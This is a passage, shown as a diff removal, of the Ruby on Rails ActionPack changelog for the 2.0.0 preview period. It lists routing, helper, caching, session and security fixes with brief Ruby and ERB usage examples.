-* Partials also set 'object' to the default partial variable. #8823 *Nick Retallack, Jeremy Kemper*
-
-* Request profiler. *Jeremy Kemper*
- $ cat login_session.rb
- get_with_redirect '/'
- say "GET / => #{path}"
- post_with_redirect '/sessions', :username => 'john', :password => 'doe'
- say "POST /sessions => #{path}"
- $ ./script/performance/request -n 10 login_session.rb
-
-* Disabled checkboxes don't submit a form value. #9301 *vladr, robinjfisher*
-
-* Added tests for options to ActiveRecordHelper#form. Closes #7213 *richcollins, mikong, Mislav Marohnić*
-
-* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false *David Heinemeier Hansson*
-
-* Ensure that cookies handle array values correctly. Closes #9937 *queso*
-
-* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc. #9928 *Geoff Buesing*
-
-* caches_page uses a single after_filter instead of one per action. #9891 *Pratik Naik*
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. *sam, madrobby*
-
-* Dispatcher: fix that to_prepare should only run once in production. #9889 *Nathaniel Talbott*
-
-* Memcached sessions: add session data on initialization; don't silently discard exceptions; add unit tests. #9823 *kamk*
-
-* error_messages_for also takes :message and :header_message options which defaults to the old "There were problems with the following fields:" and "<count> errors prohibited this <object_name> from being saved". #8270 *rmm5t, zach-inglis-lt3*
-
-* Make sure that custom inflections are picked up by map.resources. #9815 *Mislav Marohnić*
-
-* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call *David Heinemeier Hansson*
-
-* Extracted sanitization methods from TextHelper to SanitizeHelper *David Heinemeier Hansson*
-
-* rescue_from accepts :with => lambda { |exception| ... } or a normal block. #9827 *Pratik Naik*
-
-* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 *Coda Hale, chasgrundy*
-
-* Add link_to :back which uses your referrer with a fallback to a javascript link. #7366 *eventualbuddha, Tarmo Tänav*
-
-* error_messages_for and friends also work with local variables. #9699 *Frederick Cheung*
-
-* Fix url_for, redirect_to, etc. with :controller => :symbol instead of 'string'. #8562, #9525 *Justin Lynn, Tarmo Tänav, shoe*
-
-* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores. Closes #8662. *Rick Olson*
-
-* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes. Now you can set it in the config. *Rick Olson*
-
- config.action_controller.optimise_named_routes = false
-
-* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape. *Rick Olson*
-
-* Only accept session ids from cookies, prevents session fixation attacks. *bradediger*
-
-
-## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.12.2 - 1.13.3 ##
-
-* Fixed that render template did not honor exempt_from_layout #9698 *pezra*
-
-* Better error messages if you leave out the :secret option for request forgery protection. Closes #9670 *Rick Olson*
-
-* Allow ability to disable request forgery protection, disable it in test mode by default. Closes #9693 *Pratik Naik*
-
-* Avoid calling is_missing on LoadErrors. Closes #7460. *ntalbott*
-
-* Move Railties' Dispatcher to ActionController::Dispatcher, introduce before_ and after_dispatch callbacks, and warm up to non-CGI requests. *Jeremy Kemper*
-
-* The tag helper may bypass escaping. *Jeremy Kemper*
-
-* Cache asset ids. *Jeremy Kemper*
-
-* Optimized named routes respect AbstractRequest.relative_url_root. #9612 *Daniel Morrison, Jeremy Kemper*
-
-* Introduce ActionController::Base.rescue_from to declare exception-handling methods. Cleaner style than the case-heavy rescue_action_in_public. #9449 *Norbert Crombach*
-
-* Rename some RequestForgeryProtection methods. The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'. *Rick Olson*
-
-* Merge csrf_killer plugin into rails. Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests. *Rick Olson*
-
-* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks. Closes #8877. *Rick Olson, Pratik Naik, Jacques Distler*
-
- This merges and renames the popular white_list helper (along with some css sanitizing from Jacques Distler version of the same plugin).
- Also applied updated versions of #strip_tags and #strip_links from #8877.
-
-* Remove use of & logic operator. Closes #8114. *watson*
-
-* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 *Ruy Asan*
-
-* Fixed TextHelper#word_wrap for multiline strings with extra carrier returns #8663 *seth*
-
-* Fixed that setting the :host option in url_for would automatically turn off :only_path (since :host would otherwise not be shown) #9586 *Bounga*
-
-* Added FormHelper#label. #8641, #9850 *jcoglan, Jarkko Laine*
-
-* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) *David Heinemeier Hansson*
-
-* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar). map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item. *Michael Koziarski*
-
-* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 *Pratik Naik, Mark Somerville*
-
-* Don't warn when a path segment precedes a required segment. Closes #9615. *Nicholas Seckar*
-
-* Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 *sandofsky/wildchild*.
-
-* Added Mime::Type.register_alias for dealing with different formats using the same mime type *DHH*. Example:
-
- class PostsController < ApplicationController
- before_filter :adjust_format_for_iphone
-
- def index
- @posts = Post.find(:all)
-
- respond_to do |format|
- format.html # => renders index.html.erb and uses "text/html" as the content type
- format.iphone # => renders index.iphone.erb and uses "text/html" as the content type
- end
- end
-
-
- private
- def adjust_format_for_iphone
- if request.env["HTTP_USER_AGENT"] && request.env["HTTP_USER_AGENT"][/iPhone/]
- request.format = :iphone
- end
- end
- end
-
-* Added that render :json will automatically call .to_json unless it's being passed a string *DHH*.
-
-* Autolink behaves well with emails embedded in URLs. #7313 *Jeremy McAnally, Tarmo Tänav*
-
-* Fixed that default layouts did not take the format into account #9564 *Pratik Naik*
-
-* Fixed optimized route segment escaping. #9562 *wildchild, Jeremy Kemper*
-
-* Added block acceptance to JavaScriptHelper#javascript_tag. #7527 *Bob Silva, Tarmo Tänav, rmm5t*
-
-* root_path returns '/' not ''. #9563 *Pratik Naik*
-
-* Fixed that setting request.format should also affect respond_to blocks *David Heinemeier Hansson*
-
-* Add option to force binary mode on tempfile used for fixture_file_upload. #6380 *Jonathan Viney*
-
-* Fixed that resource namespaces wouldn't stick to all nested resources #9399 *pixeltrix*
-
-* Moved ActionController::Macros::AutoComplete into the auto_complete plugin on the official Rails svn. #9512 *Pratik Naik*
-
-* Moved ActionController::Macros::InPlaceEditing into the in_place_editor plugin on the official Rails svn. #9513 *Pratik Naik*
-
-* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb *David Heinemeier Hansson*
-
-* Removed deprecated methods *DHH*:
-
- - ActionController::Base#keep_flash (use flash.keep instead)
- - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
- - ActionController::Base.template_root/= methods (use ActionController#Base.view_paths/= instead)
- - ActionController::Base.cookie (use ActionController#Base.cookies[]= instead)
-
-* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension *David Heinemeier Hansson*
-
-* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) *David Heinemeier Hansson*
-
-* Optimise named route generation when using positional arguments. *Michael Koziarski*
-
- This change delivers significant performance benefits for the most
- common usage scenarios for modern rails applications by avoiding the
- costly trip through url_for. Initial benchmarks indicate this is
- between 6 and 20 times as fast.
-
-* Explicitly require active_record/query_cache before using it. *Jeremy Kemper*
-
-* Fix layout overriding response status. #9476 *lotswholetime*
-
-* Add field_set_tag for generating field_sets, closes #9477. *Damian Janowski*
-
-* Allow additional parameters to be passed to named route helpers when using positional arguments. Closes #8930 *Ian White*
-
-* Make render :partial work with a :collection of Hashes, previously this wasn't possible due to backwards compatibility restrictions. *Pratik Naik*
-
-* request.host works with IPv6 addresses. #9458 *yuya*
-
-* Fix bug where action caching sets the content type to the ActionCachePath object. Closes #9282 *mindforge*
-
-* Find layouts even if they're not in the first view_paths directory. Closes #9258 *caio*
-
-* Major improvement to the documentation for the options / select form helpers. Closes #9038 *Chris Kampmeier, jardeon, wesg*
-
-* Fix number_to_human_size when using different precisions. Closes #7536. *RichardStrand, mpalmer*
-
-* Added partial layouts (see example in action_view/lib/partials.rb) *David Heinemeier Hansson*
-
-* Allow you to set custom :conditions on resource routes. *Rick Olson*
-
-* Fixed that file.content_type for uploaded files would include a trailing \r #9053 *Brad Greenlee*
-
-* url_for now accepts a series of symbols representing the namespace of the record *Josh Knowles*
-
-* Make :trailing_slash work with query parameters for url_for. Closes #4004 *nov*
-
-* Make sure missing template exceptions actually say which template they were looking for. Closes #8683 *dasil003*
-
-* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 *Stefan Kaes*
-
- After filters will *no longer* be run if an around_filter fails to yield, users relying on
- this behaviour are advised to put the code in question after a yield statement in an around filter.
-
-
-* Allow you to delete cookies with options. Closes #3685 *Josh Peek, Chris Wanstrath*
-
-* Allow you to render views with periods in the name. Closes #8076 *Norbert Crombach*
-
- render :partial => 'show.html.erb'
-
-* Improve capture helper documentation. #8796 *Chris Kampmeier*
-
-* Prefix nested resource named routes with their action name, e.g. new_group_user_path(@group) instead of group_new_user_path(@group). The old nested action named route is deprecated in Rails 1.2.4. #8558 *David Chelimsky*
-
-* Allow sweepers to be created solely for expiring after controller actions, not model changes *David Heinemeier Hansson*
-
-* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller *David Heinemeier Hansson*
-
-* Give the legacy X-POST_DATA_FORMAT header greater precedence during params parsing for backward compatibility. *Jeremy Kemper*
-
-* Fixed that link_to with an href of # when using :method will not allow for click-through without JavaScript #7037 *Steven Bristol, Josh Peek*
-
-* Fixed that radio_button_tag should generate unique ids #3353 *Bob Silva, Rebecca, Josh Peek*
-
-* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 *Mislav Marohnić*
-
-* Don't mistakenly interpret the request uri as the query string. #8731 *Pratik Naik, Jeremy Kemper*
-
-* Make ActionView#view_paths an attr_accessor for real this time. Also, don't perform an unnecessary #compact on the @view_paths array in #initialize. Closes #8582 *dasil003, julik, Rick Olson*
-
-* Tolerate missing content type on multipart file uploads. Fix for Safari 3. *Jeremy Kemper*
-
-* Deprecation: remove pagination. Install the classic_pagination plugin for forward compatibility, or move to the superior will_paginate plugin. #8157 *Josh Peek*
-
-* Action caching is limited to GET requests returning 200 OK status. #3335 *tom@craz8.com, halfbyte, Dan Kubb, Josh Peek*
-
-* Improve Text Helper test coverage. #7274 *Rob Sanheim, Josh Peek*
-
-* Improve helper test coverage. #7208, #7212, #7215, #7233, #7234, #7235, #7236, #7237, #7238, #7241, #7243, #7244 *Rich Collins, Josh Peek*
-
-* Improve UrlRewriter tests. #7207 *Rich Collins*
-
-* Resources: url_for([parent, child]) generates /parents/1/children/2 for the nested resource. Likewise with the other simply helpful methods like form_for and link_to. #6432 *mhw, Jonathan Vaught, lotswholetime*
-
-* Assume html format when rendering partials in RJS. #8076 *Rick Olson*
-
-* Don't double-escape url_for in views. #8144 *Rich Collins, Josh Peek*
-
-* Allow JSON-style values for the :with option of observe_field. Closes #8557 *kommen*
-
-* Remove RAILS_ROOT from backtrace paths. #8540 *Tim Pope*
-
-* Routing: map.resource :logo routes to LogosController so the controller may be reused for multiple nestings or namespaces. *Jeremy Kemper*
-
-* render :partial recognizes Active Record associations as Arrays. #8538 *Kamal Fariz Mahyuddin*
-
-* Routing: drop semicolon and comma as route separators. *Jeremy Kemper*
-
-* request.remote_ip understands X-Forwarded-For addresses with nonstandard whitespace. #7386 *moses*
-
-* Don't prepare response when rendering a component. #8493 *jsierles*
-
-* Reduce file stat calls when checking for template changes. #7736 *alex*
-
-* Added custom path cache_page/expire_page parameters in addition to the options hashes *DHH*. Example:
-
- def index
- caches_page(response.body, "/index.html")
- end
-
-* Action Caching speedup. #8231 *Stefan Kaes*
-
-* Wordsmith resources documentation. #8484 *marclove*
-
-* Fix syntax error in code example for routing documentation. #8377. *Norbert Crombach*
-
-* Routing: respond with 405 Method Not Allowed status when the route path matches but the HTTP method does not. #6953 *Josh Peek, defeated, Dan Kubb, Coda Hale*
-
-* Add support for assert_select_rjs with :show and :hide. #7780 *dchelimsky*
-
-* Make assert_select's failure messages clearer about what failed. #7779 *dchelimsky*
-
-* Introduce a default respond_to block for custom types. #8174 *Josh Peek*
-
-* auto_complete_field takes a :method option so you can GET or POST. #8120 *zapnap*
-
-* Added option to suppress :size when using :maxlength for FormTagHelper#text_field #3112 *Tim Pope*
-
-* catch possible WSOD when trying to render a missing partial. Closes #8454 *Jonathan del Strother*
-
-* Rewind request body after reading it, if possible. #8438 *s450r1*
-
-* Resource namespaces are inherited by their has_many subresources. #8280 *marclove, Geoff Garside*
-
-* Fix filtered parameter logging with nil parameter values. #8422 *choonkeat*
-
-* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST. #7124 *Nik Wakelin, François Beausoleil, Wizard*
-
-* Document caches_action. #5419 *Jarkko Laine*
-
-* Update to Prototype 1.5.1. *Sam Stephenson*
-
-* Allow routes to be decalred under namespaces *Tobias Lütke*:
-
- map.namespace :admin do |admin|
- admin.root :controller => "products"
- admin.feed 'feed.xml', :controller => 'products', :action => 'feed', :format => 'xml'
- end
-
-* Update to script.aculo.us 1.7.1_beta3. *Thomas Fuchs*
-
-* observe_form always sends the serialized form. #5271 *Manfred Stienstra, normelton@gmail.com*
-
-* Parse url-encoded and multipart requests ourselves instead of delegating to CGI. *Jeremy Kemper*
-
-* select :include_blank option can be set to a string instead of true, which just uses an empty string. #7664 *Wizard*
-
-* Added url_for usage on render :location, which allows for record identification *DHH*. Example:
-
- render :xml => person, :status => :created, :location => person
-
- ...expands the location to person_url(person).
-
-* Introduce the request.body stream. Lazy-read to parse parameters rather than always setting RAW_POST_DATA. Reduces the memory footprint of large binary PUT requests. *Jeremy Kemper*
-
-* Add some performance enhancements to ActionView.
-
- * Cache base_paths in @@cached_base_paths
- * Cache template extensions in @@cached_template_extension
- * Remove unnecessary rescues
-
-* Assume that rendered partials go by the HTML format by default
-
- def my_partial
- render :update do |page|
- # in this order
- # _foo.html.erb
- # _foo.erb
- # _foo.rhtml
- page.replace :foo, :partial => 'foo'
- end
- end
-
-* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for *DHH*. Examples:
-
- <% form_for(@post) do |f| %>
- ...
- <% end %>
-
- This will expand to be the same as:
-
- <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
- ...
- <% end %>
-
- And for new records:
-
- <% form_for(Post.new) do |f| %>
- ...
- <% end %>
-
- This will expand to be the same as:
-
- <% form_for :post, @post, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
- ...
- <% end %>
-
-* Rationalize route path escaping according to RFC 2396 section 3.3. #7544, #8307. *Jeremy Kemper, Chris Roos, begemot, jugend*
-
-* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for *DHH*. Examples:
-
- redirect_to(post) # => redirect_to(posts_url(post)) => Location: http://example.com/posts/1
- link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
-
- Any method that calls url_for on its parameters will automatically benefit from this.
-
-* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) *David Heinemeier Hansson*
-
-* Add ActionController::Routing::Helpers, a module to contain common URL helpers such as polymorphic_url. *Nicholas Seckar*
-
-* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) *David Heinemeier Hansson*
-
-* Modernize documentation for form helpers. *Jeremy McAnally*
-
-* Add brief introduction to REST to the resources documentation. *fearoffish*
-
-* Fix various documentation typos throughout ActionPack. *Henrik N*
-
-* Enhance documentation and add examples for url_for. *Jeremy McAnally*
-
-* Fix documentation typo in routes. *Norbert Crombach, pam*
-
-* Sweep flash when filter chain is halted. *Caio Chassot <lists@v2studio.com>*
-
-* Fixed that content_tag with a block will just return the result instead of concate it if not used in a ERb view #7857, #7432 *michael.niessner*
-
-* Replace the current block/continuation filter chain handling by an implementation based on a simple loop. #8226 *Stefan Kaes*
-
-* Update UrlWriter to accept :anchor parameter. Closes #6771. *Chris McGrath*
-
-* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements *DHH*. Example:
-
- <% div_for(post) do %> <div id="post_45" class="post">
- <%= post.body %> What a wonderful world!
- <% end %> </div>
-
-* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id *DHH*. Example:
-
- format.js do
- # Calls: new Effect.fade('post_45');
- render(:update) { |page| page[post].visual_effect(:fade) }
- end
-
-* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths *David Heinemeier Hansson*
-
-* Added map.namespace to deal with the common situation of admin sections and the like *David Heinemeier Hansson*
-
- Before:
-
- map.resources :products, :path_prefix => "admin", :controller => "admin/products", :collection => { :inventory => :get }, :member => { :duplicate => :post }
- map.resources :tags, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_tags"
- map.resources :images, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_images"
- map.resources :variants, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_variants"
-
- After:
-
- map.namespace(:admin) do |admin|
- admin.resources :products,
- :collection => { :inventory => :get },
- :member => { :duplicate => :post },
- :has_many => [ :tags, :images, :variants ]
- end
-
-* Added :name_prefix as standard for nested resources *DHH*. WARNING: May be backwards incompatible with your app
-
- Before:
-
- map.resources :emails do |emails|
- emails.resources :comments, :name_prefix => "email_"
- emails.resources :attachments, :name_prefix => "email_"
- end
-
- After:
-
- map.resources :emails do |emails|
- emails.resources :comments
- emails.resources :attachments
- end
-
- This does mean that if you intended to have comments_url go to /emails/5/comments, then you'll have to set :name_prefix to nil explicitly.
-
-* Added :has_many and :has_one for declaring plural and singular resources beneath the current *David Heinemeier Hansson*
-
- Before:
-
- map.resources :notes do |notes|
- notes.resources :comments
- notes.resources :attachments
- notes.resource :author
- end
-
- After:
-
- map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
-
-* Added that render :xml will try to call to_xml if it can *DHH*. Makes these work:
-
- render :xml => post
- render :xml => comments
-
-* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner *David Heinemeier Hansson*
-
- render :xml => post.to_xml, :status => :created, :location => post_url(post)
-
-* Ensure that render_text only adds string content to the body of the response *David Heinemeier Hansson*
-
-* Return the string representation from an Xml Builder when rendering a partial. Closes #5044 *Tim Pope*
-
-* Fixed that parameters from XML should also be presented in a hash with indifferent access *David Heinemeier Hansson*
-
-* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript. This is so ajax actions without a :format param get recognized as Mime::JS. *Rick Olson*
-
-* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. *Rick Olson*
-
-* Allow layouts with extension of .html.erb. Closes #8032 *Josh Knowles*
-
-* Change default respond_to templates for xml and rjs formats. *Rick Olson*
-
- * Default xml template goes from #{action_name}.rxml => #{action_name}.xml.builder.
- * Default rjs template goes from #{action_name}.rjs => #{action_name}.js.rjs.
-
- You can still specify your old templates:
-
- respond_to do |format|
- format.xml do
- render :action => "#{action_name}.rxml"
- end
- end
-
-* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit. *Rick Olson*
-
-* Fix WSOD when template compilation fails *Rick Olson*
-
-* Change ActionView template defaults. Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" *Rick Olson*
-
-* Highlight helper highlights one or many terms in a single pass. *Jeremy Kemper*
-
-* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It *David Heinemeier Hansson*
-
-* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with *David Heinemeier Hansson*
-
-* Cleaned up, corrected, and mildly expanded ActionPack documentation. Closes #7190 *Jeremy McAnally*
-
-* Small collection of ActionController documentation cleanups. Closes #7319 *Jeremy McAnally*
-
-* Make sure the route expiry hash is constructed by comparing the to_param-ized values of each hash. *Jamis Buck*
-
-* Allow configuration of the default action cache path for #caches_action calls. *Rick Olson*
-
- class ListsController < ApplicationController
- caches_action :index, :cache_path => Proc.new { |controller|
- controller.params[:user_id] ?
- controller.send(:user_lists_url, c.params[:user_id]) :
- controller.send(:lists_url) }
- end
-
-* Performance: patch cgi/session/pstore to require digest/md5 once rather than per #initialize. #7583 *Stefan Kaes*
-
-* Cookie session store: ensure that new sessions doesn't reuse data from a deleted session in the same request. *Jeremy Kemper*
-
-* Deprecation: verification with :redirect_to => :named_route shouldn't be deprecated. #7525 *Justin French*
-
-* Cookie session store: raise ArgumentError when :session_key is blank. *Jeremy Kemper*
-
-* Deprecation: remove deprecated request, redirect, and dependency methods. Remove deprecated instance variables. Remove deprecated url_for(:symbol, *args) and redirect_to(:symbol, *args) in favor of named routes. Remove uses_component_template_root for toplevel components directory. Privatize deprecated render_partial and render_partial_collection view methods. Remove deprecated link_to_image, link_image_to, update_element_function, start_form_tag, and end_form_tag helper methods. Remove deprecated human_size helper alias. *Jeremy Kemper*
-
-* Consistent public/protected/private visibility for chained methods. #7813 *Dan Manges*
-
-* Prefer MIME constants to strings. #7707 *Dan Kubb*
-
-* Allow array and hash query parameters. Array route parameters are converted/to/a/path as before. #6765, #7047, #7462 *bgipsy, Jeremy McAnally, Dan Kubb, brendan*
-
- \# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests using the cookie store's secret. *Rick Olson*
-* Added Request#url that returns the complete URL used for the request *David Heinemeier Hansson*
-
-* Extract dynamic scaffolding into a plugin. #7700 *Josh Peek*
-
-* Added user/password options for url_for to add http authentication in a URL *David Heinemeier Hansson*
-
-* Fixed that FormTagHelper#text_area_tag should disregard :size option if it's not a string *Brendon Davidson*
-
-* Set the original button value in an attribute of the button when using the :disable_with key with submit_tag, so that the original can be restored later. *Jamis Buck*
-
-* session_enabled? works with session :off. #6680 *Jonathan del Strother*
-
-* Added :port and :host handling to UrlRewriter (which unified url_for usage, regardless of whether it's called in view or controller) #7616 *alancfrancis*
-
-* Allow send_file/send_data to use a registered mime type as the :type parameter #7620 *jonathan*
-
-* Allow routing requirements on map.resource(s) #7633 *quixoten*. Example:
-
- map.resources :network_interfaces, :requirements => { :id => /^\d+\.\d+\.\d+\.\d+$/ }
-
-* Cookie session store: empty and unchanged sessions don't write a cookie. *Jeremy Kemper*
-
-* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController *David Heinemeier Hansson*
-
-* Integration tests: introduce methods for other HTTP methods. #6353 *caboose*
-
-* Routing: better support for escaped values in route segments. #7544 [Chris
- Roos]
-* Introduce a cookie-based session store as the Rails default. Sessions typically contain at most a user_id and flash message; both fit within the 4K cookie size limit. A secure message digest is included with the cookie to ensure data integrity (a user cannot alter his user_id without knowing the secret key included in the digest). If you have more than 4K of session data or don't want your data to be visible to the user, pick another session store. Cookie-based sessions are dramatically faster than the alternatives. *Jeremy Kemper*
-
- Example config/environment.rb:
- # Use an application-wide secret key and the default SHA1 message digest.
- config.action_controller.session = { :secret => "can't touch this" }
-
- # Store a secret key per user and employ a stronger message digest.
- config.action_controller.session = {
- :digest => 'SHA512',
- :secret => Proc.new { User.current.secret_key }
- }
-
-* Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions *Chad Fowler*. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
-
-* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag *DHH*. Examples:
-
- stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
- <link href="/stylesheets/style1.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="/stylesheets/styleB.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="/stylesheets/styleX2.css" media="screen" rel="Stylesheet" type="text/css" />
-
- stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
- <link href="/stylesheets/all.css" media="screen" rel="Stylesheet" type="text/css" />
-
- ...when caching is on, all.css is the concatenation of style1.css, styleB.css, and styleX2.css.
- Same deal for JavaScripts.
-
-* Work around the two connection per host browser limit: use asset%d.myapp.com to distribute asset requests among asset[0123].myapp.com. Use a DNS wildcard or CNAMEs to map these hosts to your asset server. See http://www.die.net/musings/page_load_time/ for background. *Jeremy Kemper*
-
-* Added default mime type for CSS (Mime::CSS) *David Heinemeier Hansson*
-
-* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. *David Heinemeier Hansson*
-
-* Added X-Runtime to all responses with the request run time *David Heinemeier Hansson*
-
-* Add Mime::Type convenience methods to check the current mime type. *Rick Olson*
-
- request.format.html? # => true if Mime::HTML
- request.format.jpg? # => true if Mime::JPG
-
- \# ActionController sample usage:
- \# the session will be disabled for non html/ajax requests
- session :off, :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
-
-* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id. *Stefan Kaes*
-
-* Add a :url_based_filename => true option to ActionController::Streaming::send_file, which allows URL-based filenames. *Thomas Fuchs*
-
-* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available *David Heinemeier Hansson*
-
-* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD. *Rick Olson*
-
-* Fix issue with deprecation messing up #template_root= usage. Add #prepend_view_path and #append_view_path to allow modification of a copy of the
- superclass' view_paths. *Rick Olson*
-* Allow Controllers to have multiple view_paths instead of a single template_root. Closes #2754 *John Long*
-
-* Add much-needed html-scanner tests. Fixed CDATA parsing bug. *Rick Olson*
-
-* improve error message for Routing for named routes. Closes #7346 *Rob Sanheim*
-
-* Added enhanced docs to routing assertions. Closes #7359 *Rob Sanheim*
-
-* fix form_for example in ActionController::Resources documentation. Closes #7362 *gnarg*
-
-* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating *David Heinemeier Hansson*
-
-* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag *David Heinemeier Hansson*
-
-* Allow Routes to generate all urls for a set of options by specifying :generate_all => true. Allows caching to properly set or expire all paths for a resource. References #1739. *Nicholas Seckar*
-
-* Change the query parser to map empty GET params to "" rather than nil. Closes #5694. *Nicholas Seckar*
-
-* date_select and datetime_select take a :default option. #7052 *Nik Wakelin*
- date_select "post", "written_on", :default => 3.days.from_now
- date_select "credit_card", "bill_due", :default => { :day => 20 }
-
-* select :multiple => true suffixes the attribute name with [] unless already suffixed. #6977 *nik.kakelin, ben, julik*
-
-* Improve routes documentation. #7095 *zackchandler*
-
-* mail_to :encode => 'hex' also encodes the mailto: part of the href attribute as well as the linked email when no name is given. #2061 *Jarkko Laine, pfc.pille@gmx.net*
-
-* Resource member routes require :id, eliminating the ambiguous overlap with collection routes. #7229 *dkubb*
-
-* Remove deprecated assertions. *Jeremy Kemper*
-
-* Change session restoration to allow namespaced models to be autoloaded. Closes #6348. *Nicholas Seckar*
-
-* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. *Anthony Eden*
-
-* Fix overly greedy rescues when loading helpers. Fixes #6268. *Nicholas Seckar*
-
-* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 *ceefour*
-
-* Autolinking recognizes trailing and embedded . , : ; #7354 *Jarkko Laine*
-
-* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268. *imajes*
-
-* Update to script.aculo.us 1.7.0. *Thomas Fuchs*
-
-* Modernize cookie testing code, and increase coverage (Heckle++) #7101 *Kevin Clark*
-
-* Improve Test Coverage for ActionController::Routing::Route#matches_controller_and_action? (Heckle++) #7115 *Kevin Clark*
-
-* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 *Kevin Clark*
-
-* Fix #distance_of_time_in_words to report accurately against the Duration class. #7114 *eventualbuddha*
-
-* Refactor #form_tag to allow easy extending. *Rick Olson*
-
-* Update to Prototype 1.5.0. *Sam Stephenson*
-
-* RecordInvalid, RecordNotSaved => 422 Unprocessable Entity, StaleObjectError => 409 Conflict. #7097 *dkubb*
-
-* Allow fields_for to be nested inside form_for, so that the name and id get properly constructed *Jamis Buck*
-
-* Allow inGroupsOf and eachSlice to be called through rjs. #7046 *Cody Fauser*
-
-* Allow exempt_from_layout :rhtml. #6742, #7026 *Dan Manges, Squeegy*
-
-* Recognize the .txt extension as Mime::TEXT *Rick Olson*
-
-* Fix parsing of array[] CGI parameters so extra empty values aren't included. #6252 *Nicholas Seckar, aiwilliams, brentrowland*
-
-* link_to_unless_current works with full URLs as well as paths. #6891 *Jarkko Laine, Manfred Stienstra, idrifter*
-
-* Lookup the mime type for #auto_discovery_link_tag in the Mime::Type class. Closes #6941 *Josh Peek*
-
-* Fix bug where nested resources ignore a parent singleton parent's path prefix. Closes #6940 *Dan Kubb*
-
-* Fix no method error with error_messages_on. Closes #6935 *nik.wakelin Koz*
-
